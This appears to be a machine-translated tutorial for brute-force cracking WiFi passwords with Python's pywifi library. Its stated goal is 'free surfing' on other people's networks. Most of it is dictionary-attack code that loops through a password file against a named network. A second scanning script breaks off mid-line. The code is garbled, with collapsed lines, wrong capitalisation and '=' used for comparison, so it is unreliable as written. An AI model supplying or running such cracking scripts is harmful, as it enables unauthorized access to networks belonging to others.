Using Python to detect how to write the code of nearby WIFI password, I believe many inexperienced people don't know what to do about it. Therefore, this article summarizes the causes and solutions of the problem. Through this article, I hope you can solve this problem.

Preface

The following will learn how to achieve the brute force cracking of WIFI passwords through Python scripts, so as to achieve free surfing.

No graphical interface

Let's take a look at the blasting script without a graphical interface.

WIFI blasting

Import pywififrom pywifi import constimport timeimport datetime# Test connection Return link result def wifiConnect (pwd): # grab network card interface wifi = pywifi.PyWiFi () # get the first wireless network card ifaces = wifi.interfaces () [0] # disconnect all connections ifaces.disconnect () time.sleep (1) wifistatus = ifaces.status () if wifistatus = const.IFACE_DISCONNECTED: # create WiFi connection file profile = Pywifi.Profile () # name to connect to WiFi profile.ssid = "Tr0e" # Open state profile.auth of the network card profile.auth = const.AUTH_ALG_OPEN # wifi encryption algorithm The general wifi encryption algorithm sets a new connection file for wps profile.akm.append (const.AKM_TYPE_WPA2PSK) # encryption unit profile.cipher = const.CIPHER_TYPE_CCMP # call password profile.key = pwd # delete all connected wifi files ifaces.remove_all_network_profiles () # Tep_profile = ifaces.add_network_profile (profile) ifaces.connect (tep_profile) # wifi connection time time.sleep (2) if ifaces.status () = = const.IFACE_CONNECTED: return True else: return False else: print ("existing wifi connection") # read password book def readPassword (): success = False print ("* WIFI cracking *") # password book path path = "pwd.txt" # Open the file file = open (path "r") start = datetime.datetime.now () while True: try: pwd = file.readline () # remove the newline character at the end of the password pwd = pwd.strip ('\ n') bool = wifiConnect (pwd) if bool: print ("[*] password cracked:" Pwd) print ("[*] WiFi is automatically connected!") Success = True break else: # jump out of the current loop and proceed to the next loop print ("cracking the WIFI password with% s SSID The current verified password is:% s "% (" Tr0e ", pwd) except: continue end = datetime.datetime.now () if (success): print (" [*] how long did it take to crack the WIFI password: {} ".format (end-start)) print (" [*] I'm sorry I couldn't help you crack the password of the currently specified WIFI. Please change the password dictionary and try again! Exit (0) if _ name__== "_ _ main__": readPassword ()

The running effect of the code:

Script optimization

The above script needs to embed the WIFI name and explode the dictionary path, which lacks flexibility. The following transformation and optimization are carried out:

Import pywifiimport timefrom pywifiimport const# WiFi scanning module def wifi_scan (): # initialize wifi wifi = pywifi.PyWiFi () # use the first wireless network card interface = wifi.interfaces () [0] # start scanning interface.scan () for i in range (4): time.sleep (1) print ('\ r scan available WiFi, please wait. ('+ str (3-I), end=')') print ('\ r scan complete! \ n' +'-'* 38) print ('\ r {: 4} {: 6} {} '.format (' number', 'signal strength', 'wifi name')) # scan result, scan_results () returns a set Each wifi object bss = interface.scan_results () # is stored in a collection of WiFi names wifi_name_set = set () for w in bss: # solve the garbled problem wifi_name_and_signal = (100 + w.signal) W.ssid.encode ('raw_unicode_escape'). Decode (' utf-8') wifi_name_set.add (wifi_name_and_signal) # is stored in the list and sorted by signal wifi_name_list = list (wifi_name_set) wifi_name_list = sorted (wifi_name_list, key=lambda a: a [0] Reverse=True) num = 0 # formatted output while num < len (wifi_name_list): print ('\ r {:
